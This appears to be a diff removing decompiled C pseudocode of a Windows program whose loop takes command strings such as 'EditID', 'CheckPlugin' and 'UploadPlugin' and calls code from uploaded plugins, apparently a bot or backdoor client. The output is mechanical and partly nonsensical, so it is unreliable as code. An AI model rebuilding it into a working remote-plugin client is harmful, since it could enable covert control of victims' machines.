- int32_t v12 = v11 + 4; // 0x401c51
- *(int32_t *)v12 = v4;
- *(int32_t *)(v12 + 4) = v4;
- *(int32_t *)(g8 - 4) = rand();
- *(int32_t *)(g8 - 8) = (int32_t)"%016d";
- *(int32_t *)(g8 - 12) = g2 - 96;
- int32_t * str;
- sprintf((char *)&str, (char *)&str);
- *(int32_t *)(g8 - 4) = g2 - 96;
- *(int32_t *)(g8 + 12) = strlen(dwMilliseconds);
- *(int32_t *)(g8 + 8) = g2 - 96;
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2);
- g5 = 1256;
- if (-function_402c52() < 0xffff67e8) {
- lab_0x401d09:;
- int32_t v13 = g5; // 0x401d1028
- if (function_402c52() >= v13) {
- while (true) {
- // 0x401d14
- *(int32_t *)(g8 - 4) = v13;
- int32_t v14 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)dwMilliseconds); // 0x401d15
- g3 = v14;
- *(int32_t *)g8 = v14;
- g4 = g7;
- function_402c6c();
- int32_t v15; // 0x401d5a
- if (g38 != 1) {
- // 0x401d5a
- v15 = g8 - 4;
- *(int32_t *)v15 = *(int32_t *)&g16;
- // branch -> 0x401d60
- } else {
- int32_t v16 = g8 - 4; // 0x401d2e
- *(int32_t *)v16 = (int32_t)&g30;
- v15 = v16;
- // branch -> 0x401d60
- }
- // 0x401d60
- *(int32_t *)(v15 - 4) = g5;
- *(int32_t *)(v15 - 8) = g3;
- function_4018b0();
- int32_t v17 = g2; // 0x401d67
- *(char *)(v17 - 56) = *(char *)(v17 + 11);
- *(int32_t *)(g8 - 4) = 0;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g8 - 4) = g3 + 2;
- *(int32_t *)g8 = strlen(dwMilliseconds);
- *(int32_t *)(g8 - 4) = g3 + 2;
- int32_t v18 = _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2); // 0x401d8d
- unsigned char v19 = *(char *)(g2 + 11); // 0x401d93
- *(int32_t *)(g8 - 4) = 0;
- *(char *)(g2 - 4) = 1;
- *(char *)(g2 - 72) = (char)((int32_t)v19 | v18 & -256);
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g8 - 4) = g3 + 130;
- *(int32_t *)g8 = strlen(dwMilliseconds);
- *(int32_t *)(g8 - 4) = g3 + 130;
- int32_t v20 = _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2); // 0x401dc0
- int32_t v21 = g2; // 0x401dc6
- int32_t v22 = g8 - 16; // 0x401dc9
- int32_t v23 = v22; // ecx
- *(int32_t *)(v21 - 16) = v22;
- *(int32_t *)(g8 - 4) = 0;
- *(char *)(g2 - 4) = 2;
- *(int32_t *)(g2 - 16) = v23;
- int32_t v24 = (int32_t)*(char *)(v21 - 56) | v20 & -256; // 0x401dda
- *(char *)v23 = (char)v24;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g2 - 56;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)dwMilliseconds, (int32_t)str2, n);
- g4 = g7 + 60;
- int32_t v25 = function_403152(); // 0x401dfb
- *(int32_t *)(g8 - 4) = (int32_t)&g21;
- *(int32_t *)(g8 - 8) = g3;
- *(int32_t *)(g2 - 20) = v25;
- int32_t * v26 = (int32_t *)g8; // 0x401e0e
- int32_t * v27 = (int32_t *)(g8 + 4); // 0x401e11
- int32_t v28; // 0x401d0b
- int32_t v29; // 0x401d10
- if (strcmp(dwMilliseconds, str2) != 0) {
- // 0x401f09
- *v27 = (int32_t)&g23;
- *v26 = g3;
- if (strcmp(dwMilliseconds, str2) != 0) {
- // 0x401f26
- *(int32_t *)(g8 + 4) = (int32_t)&g22;
- *(int32_t *)g8 = g3;
- if (strcmp(dwMilliseconds, str2) == 0) {
- // 0x401f3b
- *(int32_t *)(g8 + 4) = 400;
- *(int32_t *)(g2 - 16) = *(int32_t *)(g3 + 228);
- *(int32_t *)(g8 - 4) = g3 + 232;
- *(int32_t *)(g8 - 8) = g2 - 896;
- memcpy((int32_t *)dwMilliseconds, (int32_t *)str2, n);
- *(int32_t *)(g8 - 4) = 100;
- *(int32_t *)(g2 - 76) = *(int32_t *)(g2 - 16);
- *(int32_t *)(g8 - 4) = g31;
- int32_t v30 = g2; // 0x401f6b
- int32_t v31 = v30 - 896; // 0x401f6e
- g7 = v31;
- int32_t v32 = v30 - 496; // 0x401f74
- g5 = v32;
- *(int32_t *)(g8 - 8) = (int32_t)&g29;
- *(int32_t *)(g8 - 12) = v30 - 76;
- _memcpy((char *)v32, (char *)v31, 100);
- *(int32_t *)(g8 - 4) = g2 - 496;
- function_401652();
- int32_t v33 = 0; // 0x401f93
- v4 = v33 + 4;
- int32_t v34 = 4 * v33 / 4 - 496 + g2; // 0x401f9b
- uint32_t v35 = *(int32_t *)v34; // 0x401f9b
- v8 = v35;
- *(char *)(v33 + 0x4084a8) = (char)(v35 / 0x1000000);
- *(char *)(v4 + 0x4084a5) = (char)(v8 / 0x10000);
- *(char *)(v4 + 0x4084a6) = (char)(v8 / 256);
- *(char *)(v4 + 0x4084a7) = *(char *)v34;
- // branch -> 0x401f93
- while (v4 < 64) {
- // 0x401f93
- v33 = v4;
- v4 = v33 + 4;
- v34 = 4 * v33 / 4 - 496 + g2;
- v35 = *(int32_t *)v34;
- v8 = v35;
- *(char *)(v33 + 0x4084a8) = (char)(v35 / 0x1000000);
- *(char *)(v4 + 0x4084a5) = (char)(v8 / 0x10000);
- *(char *)(v4 + 0x4084a6) = (char)(v8 / 256);
- *(char *)(v4 + 0x4084a7) = *(char *)v34;
- // continue -> 0x401f93
- }
- // 0x401fd7
- g7 = *(int32_t *)(g2 + 8);
- g38 = 1;
- g5 = 1256;
- // branch -> 0x401fe6
- }
- } else {
- // 0x401f1a
- g37 = 1;
- // branch -> 0x401fe6
- }
- lab_0x401fe6_5:
- // 0x401fe6
- *(int32_t *)(g8 - 4) = g3;
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
- *(char *)(g2 - 4) = 1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- *(char *)(g2 - 4) = 0;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- v28 = function_402c52();
- v29 = g5;
- if (v28 < v29) {
- // break -> 0x401d46
- break;
- }
- v13 = v29;
- // continue -> 0x401d14
- continue;
- } else {
- // 0x401e18
- *v27 = (int32_t)"EditID";
- *v26 = g3 + 162;
- if (strcmp(dwMilliseconds, str2) == 0) {
- goto lab_0x401fe6_5;
- }
- int32_t v36 = g8 + 8; // 0x401e87
- if (*(int32_t *)(g2 - 20) == 0) {
- // 0x401e39
- *(int32_t *)(g8 + 4) = 88;
- int32_t v37 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)dwMilliseconds); // 0x401e3b
- g1 = v37;
- *(int32_t *)(g2 - 16) = v37;
- *(char *)(g2 - 4) = 3;
- if (v37 == 0) {
- // 0x401e5c
- *(int32_t *)(g2 - 16) = 0;
- // branch -> 0x401e60
- } else {
- // 0x401e4c
- g4 = v37 + 72;
- function_402e3b();
- int32_t * v38 = (int32_t *)(g2 - 16); // 0x401e54
- // branch -> 0x401e60
- }
- // 0x401e60
- *(int32_t *)(g8 - 4) = 64;
- *(int32_t *)(g8 - 8) = g3 + 2;
- *(char *)(g2 - 4) = 2;
- *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 16);
- g1 = (int32_t)strncpy(dwMilliseconds, str2, n);
- g4 = g7 + 60;
- *(int32_t *)(g8 + 8) = *(int32_t *)(g2 - 16);
- function_4031bc();
- v36 = g8;
- // branch -> 0x401e81
- }
- // 0x401e81
- *(int32_t *)(v36 - 4) = (int32_t)"CheckPlugin";
- *(int32_t *)(v36 - 8) = g3 + 162;
- int32_t v39 = g8;
- if (strcmp(dwMilliseconds, str2) != 0) {
- // 0x401e98
- *(int32_t *)(g8 + 4) = (int32_t)"UploadPlugin";
- *(int32_t *)g8 = g3 + 162;
- if (strcmp(dwMilliseconds, str2) != 0) {
- int32_t v40 = *(int32_t *)(g2 - 20); // 0x401ec1
- if (v40 == 0) {
- goto lab_0x401fe6_5;
- }
- // 0x401ecb
- *(int32_t *)(g8 + 4) = v40;
- int32_t v41 = g2; // 0x401ece
- *(int32_t *)(v41 - 16) = g8 - 12;
- *(int32_t *)(g8 - 4) = v41 - 72;
- _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z((int32_t)dwMilliseconds);
- g4 = *(int32_t *)(g2 - 20) + 72;
- int32_t v42 = function_402edd(); // 0x401ee6
- if (v42 == 0) {
- goto lab_0x401fe6_5;
- }
- // 0x401ef3
- *(int32_t *)(g8 - 4) = g5;
- *(int32_t *)(g8 - 8) = g3;
- *(int32_t *)(g8 - 12) = *(int32_t *)(v42 + 536);
- *(int32_t *)(g8 - 16) = 0x401f01;
- __pseudo_call(*(int32_t *)(v42 + 520));
- // branch -> 0x401fe6
- goto lab_0x401fe6_5;
- } else {
- v39 = g8;
- }
- }
- // 0x401eaf
- *(int32_t *)(v39 + 4) = g5;
- *(int32_t *)v39 = g3;
- g4 = g7 + 0x9d4c;
- function_403805();
- // branch -> 0x401fe6
- goto lab_0x401fe6_5;
- }
- int32_t v43 = g3; // 0x401fe6
- int32_t v44 = g8; // 0x401fe6
- *(int32_t *)(v44 - 4) = v43;
- char * v45 = dwMilliseconds; // 0x401fe7
- v4 = __3f__3f_3_40_YAXPAX_40_Z((int32_t)v45);
- int32_t v46 = g2; // 0x401fed
- *(char *)(v46 - 4) = 1;
- int32_t v47 = g8; // 0x401ff1
- *(int32_t *)(v47 - 4) = 1;
- int32_t v48 = g2; // 0x401ff3
- v23 = v48 - 72;
- char * v49 = dwMilliseconds; // 0x401ff6
- v4 = _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)v49);
- int32_t v50 = g2; // 0x401ffc
- *(char *)(v50 - 4) = 0;
- int32_t v51 = g8; // 0x402000
- *(int32_t *)(v51 - 4) = 1;
- int32_t v52 = g2; // 0x402002
- v23 = v52 - 56;
- char * v53 = dwMilliseconds; // 0x402005
- v4 = _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)v53);
- int32_t v54 = g7; // 0x401d09
- v23 = v54;
- v28 = function_402c52();
- v4 = v28;
- v29 = g5;
- if (v28 < v29) {
- // break -> 0x401d46
- break;
- }
- v13 = v29;
- // continue -> 0x401d14
- }
- lab_0x401d46:
- // 0x401d46
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x401bd6
- lab_0x401bd6_3:
- // 0x401bd6
- if (*(char *)(g7 + 4) != 0) {
- // 0x401bd6
- // branch -> 0x402010
- // 0x402010
- abort();
- // UNREACHABLE
- }
- lab_0x401bd6_4:
- // 0x401bd6
- v2 = g8;
- // branch -> 0x401be0
- continue;
- }
- } else {
- // 0x401c9b
- *(int32_t *)(g8 - 4) = 1256;
- int32_t v55 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)dwMilliseconds); // 0x401c9c
- *(int32_t *)(g2 - 24) = v55;
- int32_t v56 = g2; // 0x401ca7
- *(int32_t *)(v56 - 16) = g8;
- *(int32_t *)(g8 - 4) = 0;
- int32_t v57 = (int32_t)*(char *)(v56 - 40) | v55 & -256; // 0x401cb3
- *(char *)g8 = (char)v57;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g2 - 40;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)dwMilliseconds, (int32_t)str2, n);
- *(int32_t *)(g8 - 4) = g5;
- *(int32_t *)(g8 - 8) = g2 - 24;
- v4 = *(int32_t *)*(int32_t *)(g7 + 20);
- *(int32_t *)(g8 - 12) = 0x401cdd;
- __pseudo_call(*(int32_t *)(v4 + 16));
- if (v4 >= 1) {
- lab_0x401cf5:
- // 0x401cf5
- *(int32_t *)(g8 - 4) = v4;
- g4 = g7;
- *(int32_t *)(g8 - 8) = *(int32_t *)(g2 - 24);
- function_402cef();
- *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 24);
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x401d09
- goto lab_0x401d09;
- lab_0x401d46_2:
- // 0x401d46
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x401bd6
- goto lab_0x401bd6_3;
- }
- // 0x401d35
- *(int32_t *)(g8 - 4) = 0x401d3d;
- __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g7 + 20) + 8));
- *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 24);
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x401d46
- goto lab_0x401d46_2;
- }
- // 0x401d46
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x401bd6
- goto lab_0x401bd6_3;
- }
- // 0x401bd6
- if (*(char *)(g7 + 4) == 0) {
- goto lab_0x401bd6_4;
- }
- // 0x401bd6
- // branch -> 0x402010
- // 0x402010
- abort();
- // UNREACHABLE
- }
- }
- // Address range: 0x402023 - 0x402166
- int32_t function_402023(void) {
- // 0x402023
- function_404b60();
- int32_t v1 = g3; // 0x402030
- int32_t v2 = g7; // 0x402031
- char * dwMilliseconds = (char *)g5; // bp-48
- int32_t v3 = *(int32_t *)(g2 + 8); // 0x402033
- g5 = v3;
- if (*(int32_t *)(v3 + 20) == 0) {
- // 0x402154
- abort();
- // UNREACHABLE
- }
- // 0x402040
- g3 = &g24;
- if (*(char *)(v3 + 4) != 0) {
- // 0x402154
- abort();
- // UNREACHABLE
- }
- int32_t v4 = (int32_t)&dwMilliseconds; // 0x40204f
- while (true) {
- int32_t * v5 = (int32_t *)(v4 - 4); // 0x40204f
- *v5 = 5;
- Sleep((int32_t)dwMilliseconds);
- int32_t v6 = *(int32_t *)*(int32_t *)(g5 + 20); // eax
- *v5 = 0x40205f;
- __pseudo_call(*(int32_t *)(v6 + 12));
- if ((char)v6 == 0) {
- // 0x402045
- if (*(char *)(g5 + 4) == 0) {
- goto lab_0x402045_3;
- }
- // 0x402045
- // branch -> 0x402154
- // 0x402154
- abort();
- // UNREACHABLE
- }
- // 0x402063
- g7 = 0;
- *(int32_t *)(g8 - 4) = g2 + 8;
- g4 = g5;
- *(int32_t *)(g2 + 8) = g7;
- function_402719();
- if (*(int32_t *)(g2 + 8) != g7) {
- // 0x402078
- *(int32_t *)(g8 - 4) = (int32_t)&g33;
- *(int32_t *)(g8 - 8) = g3;
- *(int32_t *)(g8 - 12) = g2 - 48;
- int32_t v7 = __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(); // 0x402082
- *(int32_t *)(g8 - 4) = g3;
- *(int32_t *)(g8 - 8) = v7;
- *(int32_t *)(g2 - 4) = g7;
- *(int32_t *)(g8 - 4) = g2 - 32;
- __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z();
- *(int32_t *)(g8 + 20) = 1;
- *(char *)(g2 - 4) = 2;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- int32_t v8 = *(int32_t *)(g2 + 8) + 66; // 0x4020aa
- g7 = v8;
- *(int32_t *)(g8 - 4) = v8;
- *(int32_t *)g8 = strlen(dwMilliseconds);
- *(int32_t *)(g8 - 4) = g7;
- int32_t v9 = _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, v2); // 0x4020b9
- int32_t v10 = g8; // 0x4020e0
- if (g38 == 1) {
- // 0x4020c8
- *(int32_t *)(g8 - 4) = (int32_t)&g30;
- *(int32_t *)(g8 - 8) = 1256;
- *(int32_t *)(g8 - 12) = *(int32_t *)(g2 + 8);
- v10 = g8 + 12;
- v9 = function_4018b0();
- // branch -> 0x4020dd
- }
- int32_t v11 = v10 - 16; // 0x4020e0
- *(int32_t *)(g2 - 16) = v11;
- *(int32_t *)(g8 - 4) = 0;
- int32_t v12 = (int32_t)*(char *)(g2 - 32) | v9 & -256; // 0x4020ec
- *(char *)v11 = (char)v12;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g2 - 32;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)dwMilliseconds, v2, v1);
- *(int32_t *)(g8 - 4) = 1256;
- *(int32_t *)(g8 - 8) = *(int32_t *)(g2 + 8);
- int32_t v13 = *(int32_t *)*(int32_t *)(g5 + 20); // 0x402114
- *(int32_t *)(g8 - 12) = 0x402119;
- __pseudo_call(*(int32_t *)(v13 + 20));
- if (v13 < 1) {
- lab_0x40212f:
- // 0x40212f
- *(int32_t *)(g8 - 4) = 0x402137;
- __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 8));
- // branch -> 0x402137
- } else {
- // 0x40211d
- if (false) {
- goto lab_0x40212f;
- // 0x402137
- *(int32_t *)(g8 - 4) = *(int32_t *)(g2 + 8);
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)g8 = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x402045
- lab_0x402045:
- // 0x402045
- if (*(char *)(g5 + 4) != 0) {
- // 0x402045
- // branch -> 0x402154
- // 0x402154
- abort();
- // UNREACHABLE
- }
- lab_0x402045_3:
- // 0x402045
- v4 = g8;
- // branch -> 0x40204f
- continue;
- }
- }
- // 0x402137
- *(int32_t *)(g8 - 4) = *(int32_t *)(g2 + 8);
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)g8 = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- // branch -> 0x402045
- goto lab_0x402045;
- }
- // 0x402045
- if (*(char *)(g5 + 4) == 0) {
- goto lab_0x402045_3;
- }
- // 0x402045
- // branch -> 0x402154
- // 0x402154
- abort();
- // UNREACHABLE
- }
- }
- // Address range: 0x402167 - 0x40269f
- int32_t function_402167(void) {
- // 0x402167
- function_404b60();
- int32_t n = g3; // 0x40217a
- int32_t v1 = g7; // 0x40217b
- char * str2 = (char *)v1; // 0x40217b
- char * str = (char *)g5; // bp-540
- if (*(int32_t *)(*(int32_t *)(g2 + 8) + 20) == 0) {
- // 0x40268d
- abort();
- // UNREACHABLE
- }
- // 0x402187
- g7 = 1256;
- g3 = &g24;
- int32_t * v2 = (int32_t *)v1;
- int32_t v3 = (int32_t)&str; // 0x402199
- // branch -> 0x402191
- while (true) {
- int32_t v4 = *(int32_t *)(g2 + 8); // 0x402191
- g5 = v4;
- int32_t v5 = *(int32_t *)(v4 + 20); // 0x402194
- g4 = v5;
- int32_t v6 = *(int32_t *)v5; // eax
- *(int32_t *)(v3 - 4) = 0x40219c;
- __pseudo_call(*(int32_t *)(v6 + 12));
- if ((char)v6 == 0) {
- // 0x4021a0
- g4 = g5;
- if ((char)function_4026a0() == 0) {
- lab_0x402191:
- // 0x402191
- v3 = g8;
- // branch -> 0x402191
- continue;
- }
- }
- // 0x4021ab
- GetTickCount();
- *(int32_t *)(g8 - 4) = g2 - 140;
- function_401732();
- int32_t v7 = (int32_t)&g29; // edx
- *(int32_t *)g8 = 100;
- *(int32_t *)(g2 - 16) = 0;
- _memset((char *)v7, 0, *(int32_t *)g8);
- int32_t v8 = g2; // 0x4021cf
- int32_t * v9 = (int32_t *)(v8 - 16); // 0x4021cf
- int32_t v10 = *v9; // 0x4021cf
- int32_t v11 = 256 * (int32_t)*(char *)(v8 - 140 + v10); // 0x4021d4
- int32_t v12 = v8 - 139 + v10; // 0x4021db
- int32_t v13 = (int32_t)*(char *)v12 | v11; // 0x4021e2
- int32_t v14 = (int32_t)*(char *)(v12 + 2); // 0x4021e8
- *v9 = *v9 + 4;
- int32_t v15 = v14 | 256 * ((int32_t)*(char *)(v12 + 1) | 256 * v13); // 0x402204
- *(int32_t *)(4 * *v9 / 4 + (int32_t)&g29) = v15;
- // branch -> bb
- while (*(int32_t *)(g2 - 16) < 68) {
- // bb
- v8 = g2;
- v9 = (int32_t *)(v8 - 16);
- v10 = *v9;
- v11 = 256 * (int32_t)*(char *)(v8 - 140 + v10);
- v12 = v8 - 139 + v10;
- v13 = (int32_t)*(char *)v12 | v11;
- v14 = (int32_t)*(char *)(v12 + 2);
- *v9 = *v9 + 4;
- v15 = v14 | 256 * ((int32_t)*(char *)(v12 + 1) | 256 * v13);
- *(int32_t *)(4 * *v9 / 4 + (int32_t)&g29) = v15;
- // continue -> bb
- }
- // 0x40220d
- *(int32_t *)(g8 - 4) = (int32_t)&g31;
- *(int32_t *)(g8 - 8) = v7;
- g31 = 544;
- function_401069();
- int32_t * v16 = (int32_t *)(g8 - 4); // 0x402222
- *v16 = 100;
- int32_t v17 = g2 - 540; // 0x402227
- g5 = v17;
- *v16 = g31;
- _memset((char *)v17, 0, *v16);
- *(int32_t *)(g8 - 4) = (int32_t)&g29;
- *(int32_t *)(g2 - 540) = g19;
- *(int32_t *)(g2 - 24) = g20;
- *(int32_t *)(g8 - 4) = g2 - 24;
- *(int32_t *)(g8 - 8) = g2 - 540;
- function_401652();
- *(int32_t *)(g8 - 4) = g7;
- g5 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = g7;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g5;
- memset((int32_t *)str, v1, n);
- *(int32_t *)(g8 - 4) = (int32_t)&g22;
- *(int32_t *)(g8 - 8) = g5;
- strcpy(str, str2);
- v6 = (int32_t)g34;
- if (g34 == NULL) {
- // 0x402285
- v6 = *(int32_t *)0x4060a8;
- // branch -> 0x40228a
- }
- // 0x40228a
- *(int32_t *)(g8 + 44) = 64;
- *(int32_t *)(g8 + 40) = v6;
- *(int32_t *)(g8 + 36) = g5 + 2;
- strncpy(str, str2, n);
- *(int32_t *)(g8 - 4) = 400;
- *(int32_t *)(g5 + 228) = *(int32_t *)(g2 - 24);
- *(int32_t *)(g8 - 4) = g2 - 540;
- *(int32_t *)(g8 - 8) = g5 + 232;
- memcpy((int32_t *)str, v2, n);
- int32_t v18 = g2; // 0x4022b8
- *(char *)(v18 - 40) = *(char *)(v18 + 11);
- *(int32_t *)(g8 - 4) = 0;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = g3;
- *(int32_t *)g8 = strlen(str);
- *(int32_t *)(g8 - 4) = g3;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)str, v1);
- *(int32_t *)(g2 - 4) = 0;
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = (int32_t)&g33;
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z();
- *(int32_t *)(g8 - 4) = *(int32_t *)&g16;
- *(int32_t *)(g8 - 8) = g7;
- *(int32_t *)(g8 - 12) = g5;
- int32_t v19 = function_4018b0(); // 0x402301
- int32_t v20 = g8 - 4; // 0x402309
- *(int32_t *)v20 = g4;
- int32_t v21 = v20; // ecx
- *(int32_t *)(g2 - 20) = v20;
- *(int32_t *)(g8 - 4) = 0;
- *(int32_t *)(g2 - 20) = v21;
- int32_t v22 = (int32_t)*(char *)(g2 - 40) | v19 & -256; // 0x402314
- *(char *)v21 = (char)v22;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g2 - 40;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)str, v1, n);
- *(int32_t *)(g8 - 4) = g7;
- *(int32_t *)(g8 - 8) = g5;
- int32_t v23 = *(int32_t *)(*(int32_t *)(g2 + 8) + 20); // 0x402337
- *(int32_t *)(g8 - 12) = 0x40233f;
- __pseudo_call(*(int32_t *)(*(int32_t *)v23 + 20));
- *(int32_t *)(g8 - 4) = g5;
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)str);
- int32_t v24 = 0; // edi
- // branch -> 0x402348
- while (true) {
- // 0x402348
- *(int32_t *)g8 = 1000;
- Sleep((int32_t)str);
- int32_t v25; // 0x40260c
- if (g38 != 1) {
- int32_t v26 = v24; // 0x40235c
- if (v26 == 9) {
- // 0x402605
- g38 = 0;
- v25 = *(int32_t *)(g2 + 8);
- g5 = v25;
- // branch -> 0x40260f
- } else {
- int32_t v27 = v26 + 1; // 0x402365
- v24 = v27;
- if (v27 >= 10) {
